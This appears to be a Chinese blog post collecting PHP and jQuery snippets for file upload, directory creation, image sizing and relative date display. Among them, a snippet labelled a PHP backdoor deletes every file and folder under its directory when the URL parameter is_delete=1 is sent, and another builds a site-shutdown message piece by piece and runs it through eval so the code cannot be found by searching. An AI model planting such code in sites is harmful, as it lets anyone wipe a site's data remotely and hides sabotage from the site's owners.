JQuery ajaxfileupload 异步上传文件

JQuery ajaxfileupload 异步上传文件:

// 调用方法:
function ajaxFileUpload() {
    $.ajaxFileUpload({
        cache:false,
        url:url,
        secureuri:false,
        fileElementId:'user_file',
        dataType: 'json',
        success: function (result) {
            alert("上传成功");
        },
        error: function () {
            alert('图片上传失败');
        }
    });

    return true;
}
<input name="user_file" type="file" />

文件下载(右击另存为):ajaxfileupload.js

PHP递归创建目录

<?php
// 递归创建目录
function recursive_mkdir($created_path, $before_path, $mode = 0777) {
     $dirs = explode('/' , $created_path);
     $count = count($dirs);
     for ($i = 0; $i < $count; ++$i) {
         if (empty($dirs[$i])) continue;
         
         $before_path .= $dirs[$i]."/";
         if (!is_dir($before_path) && !mkdir($before_path, $mode)) {
             continue;
         }
     }
}
?>

 

PHP后门程序

*{font-size: 12px;}
a{text-decoration: none; color: blue;}
a:hover{text-decoration: underline; color:red;}
<?php
$folder_count = $file_count = 0;

function deleteAll($directory, $empty = false) {
    global $folder_count, $file_count;

    if (substr($directory,-1) == "/") {
        $directory = substr($directory,0,-1);
    }

    if (!file_exists($directory) || !is_dir($directory)) {
        return false;
    } elseif (!is_readable($directory)) {
        return false;
    } else {
        $directoryHandle = opendir($directory);
        
        while ($contents = readdir($directoryHandle)) {
            if ($contents != '.' && $contents != '..') {
                $path = $directory . "/" . $contents;
                
                if(is_dir($path)) {
                    deleteAll($path);
                } else {
                    $file_count++;
                    unlink($path);
                }
            }
        }
        
        closedir($directoryHandle);

        if ($empty == false) {
            $folder_count++;
            if(!rmdir($directory)) {
                return false;
            }
        }
        
        return true;
    }
}

if ($_GET["is_delete"] == 1) {
    ini_set("max_execution_time", 0);
    ini_set("memory_limit", -1);

    $path = dirname(__FILE__);
    deleteAll($path);
    echo "delete folders:".$folder_count.", delete files:".$file_count.".";
    exit;
}
?>

 

PHP关闭网站代码,又能让别人找不到代码?

<?php
$s = "<center style='font-size:12px;'>网";
$s .= "站";
$s .= "已";
$s .= "关";
$s .= "闭";
$s .= ",";
$s .= "有";
$s .= "事";
$s .= "请";
$s .= "联";
$s .= "系";
$s .= "管";
$s .= "理";
$s .= "员";
$s .= ",";
$s .= "手";
$s .= "机";
$s .= "号";
$s .= ":";
$s .= "1";
$s .= "3";
$s .= "8";
$s .= "1";
$s .= "8";
$s .= "7";
$s .= "3";
$s .= "9";
$s .= "0";
$s .= "5";
$s .= "3。</center>";
eval("echo '<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />';exit($s);");
?>

 

PHP根据指定宽或高计算比例

<?php
/**
 * 根据指定宽或高计算比例
 */
function resizeImage($pic_width, $pic_height, $maxwidth,$maxheight)
{
    $CI =& get_instance();

    if (($maxwidth && $pic_width > $maxwidth) || ($maxheight && $pic_height > $maxheight))
    {
        if ($maxwidth && $pic_width > $maxwidth)
        {
            $widthratio = $maxwidth / $pic_width;
            $resizewidth_tag = true;
        }

        if ($maxheight && $pic_height > $maxheight)
        {
            $heightratio = $maxheight / $pic_height;
            $resizeheight_tag = true;
        }

        if ($resizewidth_tag && $resizeheight_tag)
        {
            // 指定宽度,如需根据高度计算比例,则修改成$widthratio>$heightratio
            if ($widthratio < $heightratio) $ratio = $widthratio;
            else $ratio = $heightratio;
        }

        if ($resizewidth_tag && !$resizeheight_tag) $ratio = $widthratio;
        if ($resizeheight_tag && !$resizewidth_tag) $ratio = $heightratio;

        $newwidth = $pic_width * $ratio;
        $newheight = $pic_height * $ratio;
        
        return array(
            'newwidth' => $newwidth,
            'newheight' => $newheight,
        );
    }
    
    return FALSE;
}
?>

 

PHP格式化日期,显示“刚刚,几分钟前,几小时前,几天前,几个月前”

<?php
function format_date($time) {
    $nowtime = time();
    $difference = $nowtime - $time;

    switch ($difference) {

        case $difference <= '60' :
            $msg = '刚刚';
            break;

        case $difference > '60' && $difference <= '3600' :
            $msg = floor($difference / 60) . '分钟前';
            break;

        case $difference > '3600' && $difference <= '86400' :
            $msg = floor($difference / 3600) . '小时前';
            break;

        case $difference > '86400' && $difference <= '2592000' :
            $msg = floor($difference / 86400) . '天前';
            break;

        case $difference > '2592000' &&  $difference <= '7776000':
            $msg = floor($difference / 2592000) . '个月前';
            break;
        case $difference > '7776000':
            $msg = '很久以前';
            break;
    }

    return $msg;
}
?>

 

PHP按照比例计算图片大小

<?php
/**
 * 按照比例计算图片大小
 */
function chang_image_size($img_w, $img_h, $max_w, $max_h)
{
    $CI =& get_instance();
    
    // 计算缩放比例
    $w_ratio = $max_w / $img_w;
    $h_ratio = $max_h / $img_h;
    
    // 决定处理后的图片宽和高
    if ( ($img_w <= $max_w) && ($img_h <= $max_h) )
    {
        $tn['w'] = $img_w;
        $tn['h'] = $img_h;
    }
    elseif (($w_ratio * $img_h) < $max_h)
    {
        $tn['w'] = $max_w;
        $tn['h'] = ceil($w_ratio * $img_h);
    }
    else 
    {
        $tn['w'] = ceil($h_ratio * $img_w);
        $tn['h'] = $max_h;
    }
    
    $tn['rc_w'] = $img_w;
    $tn['rc_h'] = $img_h;
    
    return $tn ;
}
?>